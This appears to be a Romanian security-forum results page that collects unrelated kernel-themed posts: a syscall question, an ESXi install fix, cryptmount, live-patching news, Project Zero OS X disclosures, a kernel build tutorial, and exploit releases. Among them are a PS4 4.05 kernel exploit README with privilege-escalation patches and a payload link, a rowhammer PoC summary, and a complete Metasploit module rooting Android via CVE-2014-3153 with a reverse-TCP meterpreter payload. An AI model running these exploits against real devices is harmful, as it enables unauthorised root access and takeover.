Search the Community

Full Disclaimer: e pentru un proiect la facultate Am si eu o nelamurire, ca sunt destul de noob in ceea ce priveste kernelul de Linux. Am de implementat un syscall (lucru pe care l-am invatat din tutorialul asta ), dar trebuie sa adaug un struct custom care sa-mi intoarca niste date despre procese si pe care sa-l primeasca ca parametru. Problema e ca nu stiu unde sa-l adaug, pentru ca la compilare imi spune ca nu-l gaseste. Pana acum l-am pus intr-un fisier .h din folderul cu syscallul si in include/linux/sched.h (practic ce am gasit printre putinele raspunsuri de pe stackoverflow si pe unde am mai cautat), dar tot nu e inclus in syscalls.h . Ideea e ca nici nu as vrea sa modific includeurile din syscalls.h fara sa fie nevoie, ci sa aflu unde sa-l pun corect. ./include/linux/syscalls.h:1389:32: error: unknown type name ‘ProcStruct’ Intrebarea mea e urmatoarea: unde ar trebui sa-l adaug?

# PS4 4.05 Kernel Exploit --- ## Summary In this project you will find a full implementation of the "namedobj" kernel exploit for the PlayStation 4 on 4.05. It will allow you to run arbitrary code as kernel, to allow jailbreaking and kernel-level modifications to the system. This release however, *does not* contain any code related to defeating anti-piracy mechanisms or running homebrew. This exploit does include a loader that listens for payloads on port `9020` and will execute them upon receival. You can find fail0verflow's original write-up on the bug [here](https://fail0verflow.com/blog/2017/ps4-namedobj-exploit/), you can find my technical write-up which dives more into implementation specifics ~~here~~ (this is still in progress and will be published within the next few days). ## Patches Included The following patches are made by default in the kernel ROP chain: 1) Disable kernel write protection 2) Allow RWX (read-write-execute) memory mapping 3) Dynamic Resolving (`sys_dynlib_dlsym`) allowed from any process 4) Custom system call #11 (`kexec()`) to execute arbitrary code in kernel mode 5) Allow unprivileged users to call `setuid(0)` successfully. Works as a status check, doubles as a privilege escalation. ## Notes - This exploit is actually incredibly stable at around 95% in my tests. WebKit very rarely crashes and the same is true with kernel. - I've built in a patch so the kernel exploit will only run once on the system. You can still make additional patches via payloads. - A custom syscall is added (#11) to execute any RWX memory in kernel mode, this can be used to execute payloads that want to do fun things like jailbreaking and patching the kernel. - An SDK is not provided in this release, however a barebones one to get started with may be released at a later date. - I've released a sample payload [here](http://www.mediafire.com/file/n4boybw0e06h892/debug_settings.bin) that will make the necessary patches to access the debug menu of the system via settings, jailbreaks, and escapes the sandbox. ## Contributors I was not alone in this exploit's development, and would like to thank those who helped me along the way below. - [qwertyoruiopz](https://twitter.com/qwertyoruiopz) - [Flatz](https://twitter.com/flat_z) - [CTurt](https://twitter.com/CTurtE) - Anonymous E-DB Note: Download ~ https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/43397.zip Source: exploit-db.com

Majoritatea posesorilor de servere Dell CS24-SC/TY, ce vor sa instaleze Hypervisor-ul de la vmWare, vor intampina urmatoarea problema incepand cu versiunea 5.5: Dupa ce pornit install-ul si isi incarca toate dependintele, apare urmatorul mesaj "Relocating modules and starting up the kernel...", iar masina se blocheaza, fiind nevoie de un Cold Reboot pentru a raspunde din nou la input. Problema apare in momentul in care vmWare verifica daca sistemul ruleaza in modul HeadLess, iar cum in modelele CS24-SC nu exista o optiune din bios pentru a dezactiva/activa modul headless, va trebui sa pasam un argument de ignore catre kernel, in felul urmator: In timp ce serverul afiseaza screen-ul de Install al ESXi, apasam Shift+O (O, nu zero), ca in imaginea de mai jos Apoi, lasam spatiu si scriem ignoreHeadless="TRUE" Iar acum, installerul va continua fara probleme. Dupa ce totul s-a instalat, puteti activa SSH-ul si modifica aceasta configuratie pentru a fi permanenta, ruland in SSH urmatoarea comanda esxcfg-advcfg --set-kernel "TRUE" ignoreHeadless Gata. Problema rezolvata. Eventual puteti da un reboot pentru a va asigura ca totul este ok . Sursa: Freeze instalare vmWare "Relocating modules and starting up the kernel..." pe Dell CS24-SC

cryptmount is a utility for GNU/Linux operating systems which allows an ordinary user to mount an encrypted filing system without requiring superuser privileges. It is aimed at recent Linux systems using the 2.6 kernel series. There are currently two main approaches to using encrypted filesystems within the linux kernel: the cryptoloop device driver; the device-mapper system, using the dm-crypt target. The (older) cryptoloop system has grown in parallel with the loopback device-driver of 2.4 kernel series, but has now been superseded by the device-mapper capabilities of the 2.6 kernel series. The newer devmapper system offers a cleaner organization of encryption and device-access, and superior performance has been noted. Alternative user-space tools which allow individual files to be encrypted are also widely available, but allow some information about file sizes & organization to be exposed. With the older cryptoloop system, it was possible to describe all the details of an encrypted filesystem within /etc/fstab so that it could be configured completely by 'mount'. This meant that it was particularly easy to give any user permission to mount those encrypted filesystems simply by providing the 'user' option within /etc/fstab. With the newer device-mapper infrastructure, there are more stages involved in mounting an encrypted filing system, and neither does 'mount' currently allow this nor does the syntax of /etc/fstab lend itself to describing all the necessary filesystem parameters. This is especially so if the filesystem is stored in an ordinary file, which would require separate configuration of a loopback device and a devmapper target before the filesystem could be accessed. cryptmount was written to make it as easy for ordinary users to access encrypted filesystems on-demand using the newer devmapper mechansism as it was to use the older, now deprecated, cryptoloop methods. This offers the following advantages: access to improved functionality in the kernel transparent support for filesystems stored on either raw disk partitions or loopback files separate encryption of filesystem access keys, allowing access passwords to be changed without re-encrypting the entire filesystem storing multiple encrypted filesystems within a single disk partition, using a designated subset of blocks for each rarely used filesystems do not need to be mounted at system startup un-mounting of each filesystem is locked so that this can only be performed by the user that mounted it, or the superuser encrypted filesystems compatible with cryptsetup encrypted access-keys can be chosen to be compatible with openssl, or managed via libgcrypt, or (for 2.0 release-series) built-in SHA1/Blowfish ciphers support for encrypted swap partitions (superuser only) support for setting up encrypted filesystems or crypto-swap at system boot-up Link: cryptmount.sourceforge.net

Sources: http://googleprojectzero.blogspot.ca/2015/03/exploiting-dram-rowhammer-bug-to-gain.html https://code.google.com/p/google-security-research/issues/detail?id=283 Full PoC: http://www.exploit-db.com/sploits/36310.tar.gz This is a proof-of-concept exploit that is able to gain kernel privileges on machines that are susceptible to the DRAM "rowhammer" problem. It runs as an unprivileged userland process on x86-64 Linux. It works by inducing bit flips in page table entries (PTEs). For development purposes, the exploit program has a test mode in which it induces a bit flip by writing to /dev/mem. qemu_runner.py will run the exploit program in test mode in a QEMU VM. It assumes that "bzImage" (in the current directory) is a Linux kernel image that was built with /dev/mem enabled (specifically, with the the CONFIG_STRICT_DEVMEM option disabled). Mark Seaborn mseaborn@chromium.org March 2015 Source

A collaboration between SUSE and Red Hat is going to bring relief to Linux users the world over: they'll be able to patch their systems without reboots. The live patching infrastructure looks set to become available in version 3.20 of the Linux kernel. The two organisations introduced their distribution-specific live patching solutions a month apart in 2013 – SUSE's kGraft hit in February, and Red Hat's Kpatch arrived in March. As SUSE developer Jiri Kosina explains on the Linux Kernel Mailing List, an early shot at live patching called kSplice was acquired and turned into a proprietary service. He says the SUSE and Red Hat approaches were different: “kPatch is issuing stop_machine()”, inspecting processes and deciding whether the system is safe to patch; “kGraft provides a per-thread consistency during one single pass of a process through the kernel and performs a lazy contiguous migration of threads from 'unpatched' universe to the 'patched' one at safe checkpoints.” After a discussion at the Linux Plumbers' Conference in Dusseldorf in 2014, the different parties worked out the basis of the new approach. A key aspect of the live-patching infrastructure, Kosina says, is that it's “self-contained, in a sense that it doesn't hook itself in any other kernel subsystem (it doesn't even touch any other code). “It's now implemented for x86 only as a reference architecture, but support for powerpc, s390 and arm is already in the works (adding arch-specific support basically boils down to teaching ftrace about regs-saving)”, he continues. Red Hat and SUSE will port their current solutions to the common infrastructure, “abandoning their out-of-tree code”. Kosina's post to the list is addressed to "Linus" and says "Live patching core is available for you to pull at git://git.kernel.org/pub/scm/linux/kernel/git/jikos/livepatching.git for-linus. Over to you, Mr Torvalds. ® Source

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' class Metasploit4 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Common def initialize(info={}) super( update_info( info, { 'Name' => 'Android futex requeue kernel exploit', 'Description' => %q{ This module exploits a bug in futex_requeue in the linux kernel. Any android phone with a kernel built before June 2014 should be vulnerable. }, 'License' => MSF_LICENSE, 'Author' => [ 'Pinkie Pie', #discovery 'geohot', #towelroot 'timwr' #metasploit module ], 'References' => [ [ 'CVE', '2014-3153' ], [ 'URL', 'http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/' ], [ 'URL', 'http://blog.nativeflow.com/the-futex-vulnerability' ], ], 'SessionTypes' => [ 'meterpreter' ], 'Platform' => 'android', 'Targets' => [[ 'Automatic', { }]], 'Arch' => ARCH_DALVIK, 'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp', }, 'DefaultTarget' => 0 } )) register_options([ OptString.new("WritableDir", [ true, "Temporary directory to write files", "/data/local/tmp/" ]), ], self.class) end def put_local_file(remotefile) localfile = File.join( Msf::Config.data_directory, "exploits", "CVE-2014-3153.elf" ) data = File.read(localfile, {:mode => 'rb'}) write_file(remotefile, data) end def exploit workingdir = session.fs.dir.getwd exploitfile = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}" payloadfile = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}" put_local_file(exploitfile) cmd_exec('/system/bin/chmod 700 ' + exploitfile) write_file(payloadfile, payload.raw) tmpdir = datastore['WritableDir'] rootclassdir = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}" rootpayload = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}.jar" rootcmd = " mkdir #{rootclassdir} && " rootcmd += "cd #{rootclassdir} && " rootcmd += "cp " + payloadfile + " #{rootpayload} && " rootcmd += "chmod 766 #{rootpayload} && " rootcmd += "dalvikvm -Xbootclasspath:/system/framework/core.jar -cp #{rootpayload} com.metasploit.stage.Payload" process = session.sys.process.execute(exploitfile, rootcmd, {'Hidden' => true, 'Channelized' => true}) process.channel.read end end Source

Update: OK Apple, your turn. After raising a ruckus with the disclosure of three unpatched Windows vulnerabilities, Google’s Project Zero research team did the same this week with a trio of security issues in Apple OS X. Project Zero imposes a 90-day deadline on vulnerabilities it reports to affected vendors; if a patch is not delivered inside that time frame, details are automatically made public via its external database. The respective OS X bugs were reported to Apple in late October and 90-day deadlines began expiring this week. The Project Zero disclosures also come with proof-of-concept exploit code. A request for comment from Apple was not returned in time for publication. Published reports indicate that the vulnerabilities have been patched in Yosemite 10.10.2, which is in beta. The vulnerabilities affect different components of Apple’s flagship operating system, and range from memory corruption, kernel code execution and a sandbox escape. All three require some kind of local access to exploit. The sandbox escape vulnerability, OS X networkd “effective_audit_token” XPC type confusion sandbox escape as labeled by Google, may have been mitigated starting in the Yosemite version of OS X. Google refers to a separate advisory for those details. In its disclosure on Tuesday, Google said that the networkd system daemon implements an XPC service API which communicates on behalf of an application. Project Zero said that XPC messages using get parameters are used without checking the type of returned value. This allows messages to reach functions outside the sandbox, Google said. One day later, the 90-day deadline expired on an OS X IOKit kernel execution vulnerability. “Calling IOConnectMapMemory on userclient type 2 of “IntelAccelerator” with memory type 3 hits an exploitable kernel NULL pointer dereference calling a virtual function on an object at 0x0,” Google said in its advisory. Part of this disclosure originally included a kernel ASLR bypassed, but that was patched in Yosemite 10.10, Google said. The third disclosure happened yesterday and is another OS X IOKit kernel memory corruption vulnerability. Google said a Bluetooth device must be connected to exploit this bug, which is due to a bad bzero in IOBluetoothDevice. “Userspace can modify the size in shared memory leading to the bzero writing a controlled number of NULL bytes off the end of the buffer,” the advisory said. Project Zero’s automated disclosures are the latest salvo in the industry’s eternal debate over the sharing and distribution of vulnerability details. Microsoft fought back after Google spilled the beans on a trio of its unpatched bugs, one of which Google refused to sit on for an additional two days before Microsoft was to release a patch. Source

Just old plain text tutorial idsplus ~ # cd /usr/src/ idsplus /usr/src # wget http://www.kernel.org/pub/linux/kernel/v3.0/linux-3.5.5.tar.bz2 --2012-10-05 23:53:55-- http://www.kernel.org/pub/linux/kernel/v3.0/linux-3.5.5.tar.bz2 Resolving www.kernel.org... 149.20.20.133, 149.20.4.69 Connecting to www.kernel.org|149.20.20.133|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 80984418 (77M) [application/x-bzip2] Saving to: “linux-3.5.5.tar.bz2” 100%[========================================================>] 80,984,418 14.3M/s in 9.8s 2012-10-05 23:54:05 (7.91 MB/s) - “linux-3.5.5.tar.bz2” saved [80984418/80984418] idsplus /usr/src # tar jxf linux-3.5.5.tar.bz2 idsplus /usr/src # rm linux rm: remove symbolic link `linux'? yes idsplus /usr/src # ln -s linux-3.5.5 linux idsplus /usr/src # cd linux idsplus /usr/src/linux # cp /boot/config-`uname -r` .config idsplus /usr/src/linux # make menuconfig // Selectati EXIT si YES idsplus /usr/src/linux # make bzImage modules modules_install install idsplus /usr/src/linux # mkinitramfs -o /boot/initrd-3.5.5 3.5.5 idsplus /usr/src/linux # update-grub2 Generating grub.cfg ... Found linux image: /boot/vmlinuz-3.5.5 Found initrd image: /boot/initrd-3.5.5 ....... done idsplus /usr/src/linux # init 6 // Dupa doua minute ... idsplus ~ # uname -a Linux idsplus 3.5.5 #1 SMP PREEMPT Sat Oct 6 00:40:49 CEST 2012 x86_64 GNU/Linux [*] Nota: Bootloader-ul folosit este grub.